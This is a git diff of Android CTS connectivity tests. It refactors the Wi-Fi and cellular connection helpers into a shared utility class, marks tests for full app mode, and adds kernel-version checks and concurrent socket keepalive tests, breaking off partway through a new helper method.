rename from tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
rename to tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
index 6a7b4a0..9d2b8ad 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.net.cts;
+package android.net.cts.api23test;
import android.content.BroadcastReceiver;
import android.content.Context;
diff --git a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
index 0a3146c..524e549 100644
--- a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
+++ b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
@@ -18,13 +18,14 @@
import android.content.ContentResolver;
import android.content.Context;
-import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.test.AndroidTestCase;
import android.util.Log;
import java.lang.Thread;
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
public class AirplaneModeTest extends AndroidTestCase {
private static final String TAG = "AirplaneModeTest";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 4180ea4..e9deec9 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -21,8 +21,12 @@
import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.net.cts.util.CtsNetUtils.ConnectivityActionReceiver;
+import static android.net.cts.util.CtsNetUtils.HTTP_PORT;
+import static android.net.cts.util.CtsNetUtils.NETWORK_CALLBACK_ACTION;
+import static android.net.cts.util.CtsNetUtils.TEST_HOST;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
import static android.os.MessageQueue.OnFileDescriptorEventListener.EVENT_INPUT;
import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
import static android.system.OsConstants.AF_INET;
@@ -31,11 +35,10 @@
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import android.annotation.NonNull;
import android.app.Instrumentation;
import android.app.PendingIntent;
import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
@@ -43,6 +46,8 @@
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
+import android.net.IpSecManager;
+import android.net.IpSecManager.UdpEncapsulationSocket;
import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
@@ -52,17 +57,21 @@
import android.net.NetworkInfo.State;
import android.net.NetworkRequest;
import android.net.SocketKeepalive;
+import android.net.cts.util.CtsNetUtils;
+import android.net.util.KeepaliveUtils;
import android.net.wifi.WifiManager;
+import android.os.Build;
import android.os.Looper;
import android.os.MessageQueue;
import android.os.SystemClock;
import android.os.SystemProperties;
+import android.os.VintfRuntimeInfo;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
-import android.system.Os;
-import android.system.OsConstants;
import android.test.AndroidTestCase;
import android.text.TextUtils;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -85,12 +94,14 @@
import java.net.URL;
import java.net.UnknownHostException;
import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -98,39 +109,26 @@
private static final String TAG = ConnectivityManagerTest.class.getSimpleName();
- private static final String FEATURE_ENABLE_HIPRI = "enableHIPRI";
-
public static final int TYPE_MOBILE = ConnectivityManager.TYPE_MOBILE;
public static final int TYPE_WIFI = ConnectivityManager.TYPE_WIFI;
private static final int HOST_ADDRESS = 0x7f000001;// represent ip 127.0.0.1
- private static final String TEST_HOST = "connectivitycheck.gstatic.com";
- private static final int SOCKET_TIMEOUT_MS = 2000;
private static final int CONNECT_TIMEOUT_MS = 2000;
private static final int KEEPALIVE_CALLBACK_TIMEOUT_MS = 2000;
private static final int KEEPALIVE_SOCKET_TIMEOUT_MS = 5000;
- private static final int SEND_BROADCAST_TIMEOUT = 30000;
+ private static final int INTERVAL_KEEPALIVE_RETRY_MS = 500;
+ private static final int MAX_KEEPALIVE_RETRY_COUNT = 3;
private static final int MIN_KEEPALIVE_INTERVAL = 10;
private static final int NETWORK_CHANGE_METEREDNESS_TIMEOUT = 5000;
private static final int NUM_TRIES_MULTIPATH_PREF_CHECK = 20;
private static final long INTERVAL_MULTIPATH_PREF_CHECK_MS = 500;
- private static final int HTTP_PORT = 80;
- private static final String HTTP_REQUEST =
- "GET /generate_204 HTTP/1.0\r\n" +
- "Host: " + TEST_HOST + "\r\n" +
- "Connection: keep-alive\r\n\r\n";
-
- // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
- private static final String NETWORK_CALLBACK_ACTION =
- "ConnectivityManagerTest.NetworkCallbackAction";
-
- // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
- public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
- "android.net.cts.appForApi23.getWifiConnectivityActionCount";
-
// device could have only one interface: data, wifi.
private static final int MIN_NUM_NETWORK_TYPES = 1;
+ // Minimum supported keepalive counts for wifi and cellular.
+ public static final int MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT = 1;
+ public static final int MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT = 3;
+
private Context mContext;
private Instrumentation mInstrumentation;
private ConnectivityManager mCm;
@@ -139,8 +137,8 @@
private final HashMap<Integer, NetworkConfig> mNetworks =
new HashMap<Integer, NetworkConfig>();
boolean mWifiConnectAttempted;
- private TestNetworkCallback mCellNetworkCallback;
private UiAutomation mUiAutomation;
+ private CtsNetUtils mCtsNetUtils;
private boolean mShellPermissionIdentityAdopted;
@Override
@@ -152,6 +150,7 @@
mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
mPackageManager = mContext.getPackageManager();
+ mCtsNetUtils = new CtsNetUtils(mContext);
mWifiConnectAttempted = false;
// Get com.android.internal.R.array.networkAttributes
@@ -176,10 +175,10 @@
protected void tearDown() throws Exception {
// Return WiFi to its original disabled state after tests that explicitly connect.
if (mWifiConnectAttempted) {
- disconnectFromWifi(null);
+ mCtsNetUtils.disconnectFromWifi(null);
}
- if (cellConnectAttempted()) {
- disconnectFromCell();
+ if (mCtsNetUtils.cellConnectAttempted()) {
+ mCtsNetUtils.disconnectFromCell();
}
dropShellPermissionIdentity();
super.tearDown();
@@ -192,10 +191,10 @@
*/
private Network ensureWifiConnected() {
if (mWifiManager.isWifiEnabled()) {
- return getWifiNetwork();
+ return mCtsNetUtils.getWifiNetwork();
}
mWifiConnectAttempted = true;
- return connectToWifi();
+ return mCtsNetUtils.connectToWifi();
}
public void testIsNetworkTypeValid() {
@@ -293,6 +292,7 @@
* Tests that connections can be opened on WiFi and cellphone networks,
* and that they are made from different IP addresses.
*/
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public void testOpenConnection() throws Exception {
boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
&& mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
@@ -302,8 +302,8 @@
return;
}
- Network wifiNetwork = connectToWifi();
- Network cellNetwork = connectToCell();
+ Network wifiNetwork = mCtsNetUtils.connectToWifi();
+ Network cellNetwork = mCtsNetUtils.connectToCell();
// This server returns the requestor's IP address as the response body.
URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
String wifiAddressString = httpGet(wifiNetwork, url);
@@ -321,33 +321,6 @@
assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
}
- private Network connectToCell() throws InterruptedException {
- if (cellConnectAttempted()) {
- throw new IllegalStateException("Already connected");
- }
- NetworkRequest cellRequest = new NetworkRequest.Builder()
- .addTransportType(TRANSPORT_CELLULAR)
- .addCapability(NET_CAPABILITY_INTERNET)
- .build();
- mCellNetworkCallback = new TestNetworkCallback();
- mCm.requestNetwork(cellRequest, mCellNetworkCallback);
- final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
- assertNotNull("Cell network not available within timeout", cellNetwork);
- return cellNetwork;
- }
-
- private boolean cellConnectAttempted() {
- return mCellNetworkCallback != null;
- }
-
- private void disconnectFromCell() {
- if (!cellConnectAttempted()) {
- throw new IllegalStateException("Cell connection not attempted");
- }
- mCm.unregisterNetworkCallback(mCellNetworkCallback);
- mCellNetworkCallback = null;
- }
-
/**
* Performs a HTTP GET to the specified URL on the specified Network, and returns
* the response body decoded as UTF-8.
@@ -455,6 +428,7 @@
* WiFi. We could add a version that uses the telephony data connection but it's not clear
* that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
*/
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public void testRegisterNetworkCallback() {
if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -495,6 +469,7 @@
* {@link #testRegisterNetworkCallback} except that a {@code PendingIntent} is used instead
* of a {@code NetworkCallback}.
*/
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public void testRegisterNetworkCallback_withPendingIntent() {
if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -507,7 +482,7 @@
filter.addAction(NETWORK_CALLBACK_ACTION);
ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
- ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+ mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
mContext.registerReceiver(receiver, filter);
// Create a broadcast PendingIntent for NETWORK_CALLBACK_ACTION.
@@ -539,6 +514,7 @@
* Exercises the requestNetwork with NetworkCallback API. This checks to
* see if we get a callback for an INTERNET request.
*/
+ @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
public void testRequestNetworkCallback() {
final TestNetworkCallback callback = new TestNetworkCallback();
mCm.requestNetwork(new NetworkRequest.Builder()
@@ -561,10 +537,11 @@
* Exercises the requestNetwork with NetworkCallback API with timeout - expected to
* fail. Use WIFI and switch Wi-Fi off.
*/
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public void testRequestNetworkCallback_onUnavailable() {
final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
if (previousWifiEnabledState) {
- disconnectFromWifi(null);
+ mCtsNetUtils.disconnectFromWifi(null);
}
final TestNetworkCallback callback = new TestNetworkCallback();
@@ -581,323 +558,23 @@
} finally {
mCm.unregisterNetworkCallback(callback);
if (previousWifiEnabledState) {
- connectToWifi();
+ mCtsNetUtils.connectToWifi();
}
}
}
- /**
- * Tests reporting of connectivity changed.
- */
- public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
- Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
- return;
- }
- ConnectivityReceiver.prepare();
-
- toggleWifi();
-
- // The connectivity broadcast has been sent; push through a terminal broadcast
- // to wait for in the receive to confirm it didn't see the connectivity change.
- Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
- finalIntent.setClass(mContext, ConnectivityReceiver.class);
- mContext.sendBroadcast(finalIntent);
- assertFalse(ConnectivityReceiver.waitForBroadcast());
- }
-
- public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
- if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
- Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
- return;
- }
- ConnectivityReceiver.prepare();
- ConnectivityReceiver receiver = new ConnectivityReceiver();
- IntentFilter filter = new IntentFilter();
- filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
- mContext.registerReceiver(receiver, filter);
-
- toggleWifi();
- Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
- finalIntent.setClass(mContext, ConnectivityReceiver.class);
- mContext.sendBroadcast(finalIntent);
-
- assertTrue(ConnectivityReceiver.waitForBroadcast());
- }
-
- public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
- throws InterruptedException {
- if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
- Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
- return;
- }
- mContext.startActivity(new Intent()
- .setComponent(new ComponentName("android.net.cts.appForApi23",
- "android.net.cts.appForApi23.ConnectivityListeningActivity"))
- .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
- Thread.sleep(200);
-
- toggleWifi();
-
- Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
- assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
- getConnectivityCount, SEND_BROADCAST_TIMEOUT));
- }
-
- private int sendOrderedBroadcastAndReturnResultCode(
- Intent intent, int timeoutMs) throws InterruptedException {
- final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
- mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- result.offer(getResultCode());
- }
- }, null, 0, null, null);
-
- Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
- assertNotNull("Timed out (more than " + timeoutMs +
- " milliseconds) waiting for result code for broadcast", resultCode);
- return resultCode;
- }
-
- // Toggle WiFi twice, leaving it in the state it started in
- private void toggleWifi() {
- if (mWifiManager.isWifiEnabled()) {
- Network wifiNetwork = getWifiNetwork();
- disconnectFromWifi(wifiNetwork);
- connectToWifi();
- } else {
- connectToWifi();
- Network wifiNetwork = getWifiNetwork();
- disconnectFromWifi(wifiNetwork);
- }
- }
-
- /** Enable WiFi and wait for it to become connected to a network. */
- private Network connectToWifi() {
- final TestNetworkCallback callback = new TestNetworkCallback();
- mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
- Network wifiNetwork = null;
-
- ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
- ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
- IntentFilter filter = new IntentFilter();
- filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
- mContext.registerReceiver(receiver, filter);
-
- boolean connected = false;
- try {
- assertTrue(mWifiManager.setWifiEnabled(true));
- // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
- wifiNetwork = callback.waitForAvailable();
- assertNotNull(wifiNetwork);
- connected = receiver.waitForState();
- } catch (InterruptedException ex) {
- fail("connectToWifi was interrupted");
- } finally {
- mCm.unregisterNetworkCallback(callback);
- mContext.unregisterReceiver(receiver);
- }
-
- assertTrue("Wifi must be configured to connect to an access point for this test.",
- connected);
- return wifiNetwork;
- }
-
- private Socket getBoundSocket(Network network, String host, int port) throws IOException {
- InetSocketAddress addr = new InetSocketAddress(host, port);
- Socket s = network.getSocketFactory().createSocket();
- try {
- s.setSoTimeout(SOCKET_TIMEOUT_MS);
- s.connect(addr, SOCKET_TIMEOUT_MS);
- } catch (IOException e) {
- s.close();
- throw e;
- }
- return s;
- }
-
- private void testHttpRequest(Socket s) throws IOException {
- OutputStream out = s.getOutputStream();
- InputStream in = s.getInputStream();
-
- final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
- byte[] responseBytes = new byte[4096];
- out.write(requestBytes);
- in.read(responseBytes);
- assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
- }
-
- /** Disable WiFi and wait for it to become disconnected from the network. */
- private void disconnectFromWifi(Network wifiNetworkToCheck) {
- final TestNetworkCallback callback = new TestNetworkCallback();
- mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
- Network lostWifiNetwork = null;
-
- ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
- ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
- IntentFilter filter = new IntentFilter();
- filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
- mContext.registerReceiver(receiver, filter);
-
- // Assert that we can establish a TCP connection on wifi.
- Socket wifiBoundSocket = null;
- if (wifiNetworkToCheck != null) {
- try {
- wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
- testHttpRequest(wifiBoundSocket);
- } catch (IOException e) {
- fail("HTTP request before wifi disconnected failed with: " + e);
+ private InetAddress getFirstV4Address(Network network) {
+ LinkProperties linkProperties = mCm.getLinkProperties(network);
+ for (InetAddress address : linkProperties.getAddresses()) {
+ if (address instanceof Inet4Address) {
+ return address;
}
}
-
- boolean disconnected = false;
- try {
- assertTrue(mWifiManager.setWifiEnabled(false));
- // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
- lostWifiNetwork = callback.waitForLost();
- assertNotNull(lostWifiNetwork);
- disconnected = receiver.waitForState();
- } catch (InterruptedException ex) {
- fail("disconnectFromWifi was interrupted");
- } finally {
- mCm.unregisterNetworkCallback(callback);
- mContext.unregisterReceiver(receiver);
- }
-
- assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
-
- // Check that the socket is closed when wifi disconnects.
- if (wifiBoundSocket != null) {
- try {
- testHttpRequest(wifiBoundSocket);
- fail("HTTP request should not succeed after wifi disconnects");
- } catch (IOException expected) {
- assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
- }
- }
- }
-
- /**
- * Receiver that captures the last connectivity change's network type and state. Recognizes
- * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
- */
- private class ConnectivityActionReceiver extends BroadcastReceiver {
-
- private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
-
- private final int mNetworkType;
- private final NetworkInfo.State mNetState;
-
- ConnectivityActionReceiver(int networkType, NetworkInfo.State netState) {
- mNetworkType = networkType;
- mNetState = netState;
- }
-
- public void onReceive(Context context, Intent intent) {
- String action = intent.getAction();
- NetworkInfo networkInfo = null;
-
- // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
- // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
- // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
- if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
- networkInfo = intent.getExtras()
- .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
- assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO", networkInfo);
- } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
- Network network = intent.getExtras()
- .getParcelable(ConnectivityManager.EXTRA_NETWORK);
- assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
- networkInfo = mCm.getNetworkInfo(network);
- if (networkInfo == null) {
- // When disconnecting, it seems like we get an intent sent with an invalid
- // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
- // it is invalid. Ignore these.
- Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
- + "invalid network");
- return;
- }
- } else {
- fail("ConnectivityActionReceiver received unxpected intent action: " + action);
- }
-
- assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
- int networkType = networkInfo.getType();
- State networkState = networkInfo.getState();
- Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
- if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
- mReceiveLatch.countDown();
- }
- }
-
- public boolean waitForState() throws InterruptedException {
- return mReceiveLatch.await(30, TimeUnit.SECONDS);
- }
- }
-
- /**
- * Callback used in testRegisterNetworkCallback that allows caller to block on
- * {@code onAvailable}.
- */
- private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
- private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
- private final CountDownLatch mLostLatch = new CountDownLatch(1);
- private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
-
- public Network currentNetwork;
- public Network lastLostNetwork;
-
- public Network waitForAvailable() throws InterruptedException {
- return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
- }
-
- public Network waitForLost() throws InterruptedException {
- return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
- }
-
- public boolean waitForUnavailable() throws InterruptedException {
- return mUnavailableLatch.await(2, TimeUnit.SECONDS);
- }
-
-
- @Override
- public void onAvailable(Network network) {
- currentNetwork = network;
- mAvailableLatch.countDown();
- }
-
- @Override
- public void onLost(Network network) {
- lastLostNetwork = network;
- if (network.equals(currentNetwork)) {
- currentNetwork = null;
- }
- mLostLatch.countDown();
- }
-
- @Override
- public void onUnavailable() {
- mUnavailableLatch.countDown();
- }
- }
-
- private Network getWifiNetwork() {
- TestNetworkCallback callback = new TestNetworkCallback();
- mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
- Network network = null;
- try {
- network = callback.waitForAvailable();
- } catch (InterruptedException e) {
- fail("NetworkCallback wait was interrupted.");
- } finally {
- mCm.unregisterNetworkCallback(callback);
- }
- assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
- return network;
+ return null;
}
/** Verify restricted networks cannot be requested. */
+ @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
public void testRestrictedNetworks() {
// Verify we can request unrestricted networks:
NetworkRequest request = new NetworkRequest.Builder()
@@ -1015,6 +692,7 @@
* Verify that getMultipathPreference does return appropriate values
* for metered and unmetered networks.
*/
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public void testGetMultipathPreference() throws Exception {
final ContentResolver resolver = mContext.getContentResolver();
final Network network = ensureWifiConnected();
@@ -1170,28 +848,13 @@
return s;
}
- private boolean isKeepaliveSupported() throws Exception {
- final Network network = ensureWifiConnected();
- final Executor executor = mContext.getMainExecutor();
- final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
- try (Socket s = getConnectedSocket(network, TEST_HOST,
- HTTP_PORT, KEEPALIVE_SOCKET_TIMEOUT_MS, AF_INET);
- SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
- sk.start(MIN_KEEPALIVE_INTERVAL);
- final TestSocketKeepaliveCallback.CallbackValue result = callback.pollCallback();
- switch (result.callbackType) {
- case ON_STARTED:
- sk.stop();
- callback.expectStopped();
- return true;
- case ON_ERROR:
- if (result.error == SocketKeepalive.ERROR_UNSUPPORTED) return false;
- // else fallthrough.
- default:
- fail("Got unexpected callback: " + result);
- return false;
- }
- }
+ private int getSupportedKeepalivesForNet(@NonNull Network network) throws Exception {
+ final NetworkCapabilities nc = mCm.getNetworkCapabilities(network);
+
+ // Get number of supported concurrent keepalives for testing network.
+ final int[] keepalivesPerTransport = KeepaliveUtils.getSupportedKeepalives(mContext);
+ return KeepaliveUtils.getSupportedKeepalivesForNetworkCapabilities(
+ keepalivesPerTransport, nc);
}
private void adoptShellPermissionIdentity() {
@@ -1206,13 +869,100 @@
}
}
- public void testCreateTcpKeepalive() throws Exception {
- adoptShellPermissionIdentity();
+ private static boolean isTcpKeepaliveSupportedByKernel() {
+ final String kVersionString = VintfRuntimeInfo.getKernelVersion();
+ return compareMajorMinorVersion(kVersionString, "4.8") >= 0;
+ }
- if (!isKeepaliveSupported()) return;
+ private static Pair<Integer, Integer> getVersionFromString(String version) {
+ // Only gets major and minor number of the version string.
+ final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
+ final Matcher m = versionPattern.matcher(version);
+ if (m.matches()) {
+ final int major = Integer.parseInt(m.group(1));
+ final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
+ return new Pair<>(major, minor);
+ } else {
+ return new Pair<>(0, 0);
+ }
+ }
+
+ // TODO: Move to util class.
+ private static int compareMajorMinorVersion(final String s1, final String s2) {
+ final Pair<Integer, Integer> v1 = getVersionFromString(s1);
+ final Pair<Integer, Integer> v2 = getVersionFromString(s2);
+
+ if (v1.first == v2.first) {
+ return Integer.compare(v1.second, v2.second);
+ } else {
+ return Integer.compare(v1.first, v2.first);
+ }
+ }
+
+ /**
+ * Verifies that version string compare logic returns expected result for various cases.
+ * Note that only major and minor number are compared.
+ */
+ public void testMajorMinorVersionCompare() {
+ assertEquals(0, compareMajorMinorVersion("4.8.1", "4.8"));
+ assertEquals(1, compareMajorMinorVersion("4.9", "4.8.1"));
+ assertEquals(1, compareMajorMinorVersion("5.0", "4.8"));
+ assertEquals(1, compareMajorMinorVersion("5", "4.8"));
+ assertEquals(0, compareMajorMinorVersion("5", "5.0"));
+ assertEquals(1, compareMajorMinorVersion("5-beta1", "4.8"));
+ assertEquals(0, compareMajorMinorVersion("4.8.0.0", "4.8"));
+ assertEquals(0, compareMajorMinorVersion("4.8-RC1", "4.8"));
+ assertEquals(0, compareMajorMinorVersion("4.8", "4.8"));
+ assertEquals(-1, compareMajorMinorVersion("3.10", "4.8.0"));
+ assertEquals(-1, compareMajorMinorVersion("4.7.10.10", "4.8"));
+ }
+
+ /**
+ * Verifies that the keepalive API cannot create any keepalive when the maximum number of
+ * keepalives is set to 0.
+ */
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+ public void testKeepaliveWifiUnsupported() throws Exception {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testKeepaliveUnsupported cannot execute unless device"
+ + " supports WiFi");
+ return;
+ }
final Network network = ensureWifiConnected();
- final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
+ if (getSupportedKeepalivesForNet(network) != 0) return;
+
+ adoptShellPermissionIdentity();
+
+ assertEquals(0, createConcurrentSocketKeepalives(network, 1, 0));
+ assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+
+ dropShellPermissionIdentity();
+ }
+
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+ public void testCreateTcpKeepalive() throws Exception {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testCreateTcpKeepalive cannot execute unless device supports WiFi");
+ return;
+ }
+
+ adoptShellPermissionIdentity();
+
+ final Network network = ensureWifiConnected();
+ if (getSupportedKeepalivesForNet(network) == 0) return;
+ // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+ // NAT-T keepalive. If keepalive limits from resource overlay is not zero, TCP keepalive
+ // needs to be supported except if the kernel doesn't support it.
+ if (!isTcpKeepaliveSupportedByKernel()) {
+ // Sanity check to ensure the callback result is expected.
+ assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+ Log.i(TAG, "testCreateTcpKeepalive is skipped for kernel "
+ + VintfRuntimeInfo.getKernelVersion());
+ return;
+ }
+
+ final byte[] requestBytes = CtsNetUtils.HTTP_REQUEST.getBytes("UTF-8");
// So far only ipv4 tcp keepalive offload is supported.
// TODO: add test case for ipv6 tcp keepalive offload when it is supported.
try (Socket s = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
@@ -1274,7 +1024,232 @@
sk.start(MIN_KEEPALIVE_INTERVAL);
callback.expectError(SocketKeepalive.ERROR_SOCKET_NOT_IDLE);
}
-
}
}
+
+ private ArrayList<SocketKeepalive> createConcurrentKeepalivesOfType(
+ int requestCount, @NonNull TestSocketKeepaliveCallback callback,
+ Supplier<SocketKeepalive> kaFactory) {
+ final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+
+ int remainingRetries = MAX_KEEPALIVE_RETRY_COUNT;
+
+ // Test concurrent keepalives with the given supplier.
+ while (kalist.size() < requestCount) {
+ final SocketKeepalive ka = kaFactory.get();
+ ka.start(MIN_KEEPALIVE_INTERVAL);
+ TestSocketKeepaliveCallback.CallbackValue cv = callback.pollCallback();
+ assertNotNull(cv);
+ if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_ERROR) {
+ if (kalist.size() == 0 && cv.error == SocketKeepalive.ERROR_UNSUPPORTED) {
+ // Unsupported.
+ break;
+ } else if (cv.error == SocketKeepalive.ERROR_INSUFFICIENT_RESOURCES) {
+ // Limit reached or temporary unavailable due to stopped slot is not yet
+ // released.
+ if (remainingRetries > 0) {
+ SystemClock.sleep(INTERVAL_KEEPALIVE_RETRY_MS);
+ remainingRetries--;
+ continue;
+ }
+ break;
+ }
+ }
+ if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_STARTED) {
+ kalist.add(ka);
+ } else {
+ fail("Unexpected error when creating " + (kalist.size() + 1) + " "
+ + ka.getClass().getSimpleName() + ": " + cv);
+ }
+ }
+
+ return kalist;
+ }
+
+ private @NonNull ArrayList<SocketKeepalive> createConcurrentNattSocketKeepalives(
+ @NonNull Network network, int requestCount,
+ @NonNull TestSocketKeepaliveCallback callback) throws Exception {
+
